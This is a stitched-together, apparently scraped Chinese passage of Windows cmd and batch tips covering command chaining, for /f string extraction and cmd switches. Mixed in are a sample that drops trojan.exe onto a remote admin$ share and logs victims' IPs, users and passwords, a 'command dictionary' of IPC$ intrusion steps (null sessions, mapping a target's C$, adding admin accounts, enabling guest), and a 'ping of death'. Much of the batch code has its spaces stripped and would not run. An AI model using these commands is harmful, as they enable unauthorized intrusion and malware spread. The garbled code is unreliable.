dir file://192.168.0.1/database/backup.mdb && file://192.168.0.1/database/backup.mdb E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法可以替換IF exist了 :)
3.||
Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@ trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
『陸』 CMD批處理提取變數字元串
@echooff
for/f"tokens=1,2,5,6delims="%%iin(123.txt)do(
setStr1=%%i
setStr2=%%j
setStr5=%%k
setStr6=%%l
echo%%i--!Str1:~1!
echo%%j--!Str2:~1!
echo%%k--!Str5:~1!
echo%%l--!Str6:~1!
)
pause
截取字元串,是賦予一個變數後進行處理的,而不是直接%%i上處理。
同時在for中賦值變數,就要開啟環境變數延遲setlocal enabledelayedexpansion 否則變數將不起作用。
『柒』 系統命令提示符(cmd)的使用方法
「開始」--「運行」--輸入「cmd」,回車
下面是一些常用的命令,自己研究吧,呵呵
DOS命令字典
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
『捌』 cmd 取出指定字元後字元串
@echooff
for/f"delims="%%ain("%cd%")do(
set"folder=%%~nxa"
)
echo%folder%
保存為bat,會將當前文件夾名稱賦給變數folder
for /f "delims=" %a in ("C:abcdef") do set "folder=%~nxa"
上面這條命令直接在CMD命令行執行,變數folder的值就是def
『玖』 cmd 命令提示符 內如何調 用指定 字元串,並定義成變數。
有些地方不太清楚,你這個文件裡面有相同的關鍵字,如果關鍵字沒有重復的話,用type findstr很好取。下面的方法是將所有標識符那一行的信息取出來,然後取第二行
只要取二個windows啟動載入器的標識符後面的字元串 {a56e3a.....}
@echooff
setsourcefile=%2
ifnotexist"%sourcefile%"(
echo不存在文件
pause>nul&exit/b1
)
setbtempfile=%temp%tempfile.txt
ifexist%btempfile%10>%btempfile%2>nul
type%sourcefile%|findstr"標識符">>%btempfile%
(for%%iin(b1b2)doset/p%%i=)<%btempfile%
for/f"tokens=2delims="%%iin("%b2%")dosetvalues=%%i
remecho%values%
pause
使用時,把%2 換成該文本的名字,最後取values
答題不易,滿意請採納!!
『拾』 請大家講解下這段 cmd 命令 ! 謝謝大家 !
CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
[[/S] [/C | /K] string]
/C 執行字元串指定的命令然後終斷
/K 執行字元串指定的命令但保留
/S 在 /C 或 /K 後修改字元串處理(見下)
/Q 關閉回應
/D 從注冊表中停用執行 AutoRun 命令(見下)
/A 使向內部管道或文件命令的輸出成為 ANSI
/U 使向內部管道或文件命令的輸出成為 Unicode
/T:fg 設置前景/背景顏色(詳細信息,請見 COLOR /?)
/E:ON 啟用命令擴展(見下)
/E:OFF 停用命令擴展(見下)
/F:ON 啟用文件和目錄名稱完成字元 (見下)
/F:OFF 停用文件和目錄名稱完成字元(見下)
/V:ON 將 ! 作為定界符啟動延緩環境變數擴展。如: /V:ON 會
允許 !var! 在執行時允許 !var! 擴展變數 var。var 語法
在輸入時擴展變數,這與在一個 FOR 循環內不同。
/V:OFF 停用延緩的環境擴展。